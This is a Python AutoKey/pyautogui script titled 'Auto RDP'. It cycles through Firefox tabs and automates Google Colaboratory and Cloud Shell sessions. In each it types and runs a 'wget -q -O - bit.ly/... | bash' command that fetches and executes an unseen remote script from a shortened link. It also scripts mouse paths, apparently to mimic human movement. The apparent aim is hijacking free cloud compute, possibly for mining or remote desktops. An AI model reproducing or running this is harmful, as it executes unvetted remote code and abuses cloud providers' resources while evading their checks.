# Auto RDP
import time
from autokey import *
import pyautogui

pyautogui.FAILSAFE = False
winTitle = window.get_active_title()
winClass = window.get_active_class()    
mouse.wait_for_click(1)
time.sleep(1)

#size_x = window.get_property(property_name, 0, 0, 255)
#size_y = window.get_property(property_name, 0, 0, 255)
i=0
while (i == 0):
    i=0
    time.sleep(5)
    winTitle = window.get_active_title()
    winClass = window.get_active_class()
    if ( winClass == "Navigator.Firefox" ) :
        if  winTitle.find("Colaboratory") != -1 :
            time.sleep(5)
            pyautogui.moveTo(666, 879)
            pyautogui.mouseDown(129, 207, 'left')
            pyautogui.mouseUp(129, 207, 'left')
            time.sleep(5)
            pyautogui.mouseDown(190, 565, 'left')
            pyautogui.mouseUp(190, 565, 'left')
            time.sleep(5)
            pyautogui.moveTo(691, 617)
            pyautogui.moveTo(712, 622)
            pyautogui.moveTo(735, 626)
            pyautogui.moveTo(758, 639)
            pyautogui.mouseDown(764, 647, 'left')
            pyautogui.mouseUp(764, 647, 'left')
            time.sleep(5)
            pyautogui.moveTo(745, 660)
            pyautogui.moveTo(705, 681)
            pyautogui.moveTo(663, 702)
            pyautogui.mouseDown(654, 702, 'left')
            pyautogui.mouseUp(654, 702, 'left')
            time.sleep(5)
            pyautogui.moveTo(687, 702)
            pyautogui.moveTo(709, 702)
            pyautogui.moveTo(730, 702)
            pyautogui.moveTo(760, 702)
            pyautogui.moveTo(794, 708)
            pyautogui.moveTo(818, 715)
            pyautogui.moveTo(839, 723)
            pyautogui.moveTo(867, 729)
            pyautogui.moveTo(888, 733)
            pyautogui.moveTo(912, 742)
            pyautogui.moveTo(935, 749)
            pyautogui.moveTo(946, 770)
            pyautogui.moveTo(941, 791)
            pyautogui.mouseDown(946, 785, 'left')
            pyautogui.mouseUp(946, 785, 'left')
            time.sleep(5)
            pyautogui.mouseDown(158, 305, 'left')
            pyautogui.mouseUp(158, 305, 'left')
            time.sleep(5)
            keyboard.send_keys("<ctrl>+a")
            time.sleep(6)
            keyboard.send_keys("! wget -q -O - bit.ly/ET00001 | bash")
            time.sleep(7)
            keyboard.send_keys("<ctrl>+<enter>")
            time.sleep(5)
            keyboard.send_keys("<ctrl>+<enter>")
            time.sleep(2)

            keyboard.send_keys("<ctrl>+<np_page_up>")
            # #mouse.click_relative_self(1070, 600, 1)
            #   mouse.click_absolute(1070, 600, 1)

        elif  winTitle.find("Cloud Shell") != -1 :            
            time.sleep(0.5)
            #keyboard.send_keys("<ctrl>+<np_page_up>")
            #dialog.info_dialog("Test","Colab")

            ### New shell agree ###
            pyautogui.moveTo(626, 1012)
            pyautogui.mouseDown(480, 673, 'left')
            pyautogui.mouseUp(480, 673, 'left')
            time.sleep(1)
            pyautogui.mouseDown(577, 765, 'left')
            pyautogui.mouseUp(577, 765, 'left')
            time.sleep(2)
            pyautogui.moveTo(668, 909)
            pyautogui.moveTo(685, 930)
            pyautogui.moveTo(697, 953)
            pyautogui.moveTo(697, 974)
            pyautogui.moveTo(685, 1006)
            pyautogui.moveTo(674, 1038)
            ### Refresh if dead session ####
            pyautogui.moveTo(1012, 852)
            pyautogui.moveTo(1039, 665)
            pyautogui.moveTo(1079, 608)
            pyautogui.moveTo(1105, 573)
            pyautogui.moveTo(1173, 520)
            pyautogui.moveTo(1274, 448)
            pyautogui.moveTo(1338, 417)
            pyautogui.moveTo(1376, 395)
            pyautogui.moveTo(1412, 383)
            pyautogui.moveTo(1433, 374)
            pyautogui.moveTo(1455, 362)
            pyautogui.moveTo(1476, 339)
            pyautogui.moveTo(1502, 315)
            pyautogui.moveTo(1530, 288)
            pyautogui.moveTo(1552, 235)
            pyautogui.moveTo(1556, 258)
            pyautogui.mouseDown(1539, 255, 'left')
            pyautogui.mouseUp(1539, 255, 'left')
            time.sleep(2)
            pyautogui.moveTo(1506, 292)
            pyautogui.moveTo(1479, 318)
            pyautogui.moveTo(1433, 356)
            pyautogui.moveTo(1394, 383)
            pyautogui.moveTo(1356, 405)
            pyautogui.moveTo(1312, 427)
            pyautogui.moveTo(1258, 464)
            pyautogui.moveTo(1155, 515)
            pyautogui.moveTo(1089, 550)
            pyautogui.moveTo(1039, 574)
            pyautogui.moveTo(976, 600)
            pyautogui.moveTo(911, 633)
            pyautogui.moveTo(826, 665)
            pyautogui.moveTo(783, 688)
            time.sleep(53)
            ### shell exec cmd ###
            pyautogui.mouseDown(668, 574, 'left')
            pyautogui.mouseUp(668, 574, 'left')
            time.sleep(1)
            pyautogui.keyDown('enter')
            pyautogui.keyUp('enter')
            pyautogui.keyDown('enter')
            pyautogui.keyUp('enter')
            time.sleep(9)
            pyautogui.keyDown('w')
            pyautogui.keyUp('w')
            pyautogui.keyDown('g')
            pyautogui.keyUp('g')
            pyautogui.keyDown('e')
            pyautogui.keyUp('e')
            pyautogui.keyDown('t')
            pyautogui.keyUp('t')
            keyboard.send_keys(" -q -O - bit.ly/CPU01 | bash")
            time.sleep(1)
            pyautogui.keyDown('enter')
            pyautogui.keyUp('enter')
            time.sleep(1)
            pyautogui.keyDown('enter')
            pyautogui.keyUp('enter')
            pyautogui.moveTo(805, 680)
            pyautogui.moveTo(830, 712)
            pyautogui.moveTo(853, 727)
            pyautogui.moveTo(880, 745)
            pyautogui.moveTo(903, 762)
            pyautogui.moveTo(939, 779)
            pyautogui.moveTo(962, 792)
            pyautogui.moveTo(982, 814)
            pyautogui.moveTo(994, 841)
            time.sleep(5)
            ### next page ###
            keyboard.send_keys("<ctrl>+<np_page_up>")
        else :
            time.sleep(5)
            keyboard.send_keys("<ctrl>+<np_page_up>")
            #dialog.info_dialog("Test","Firefox")
    else  :   
        time.sleep(5)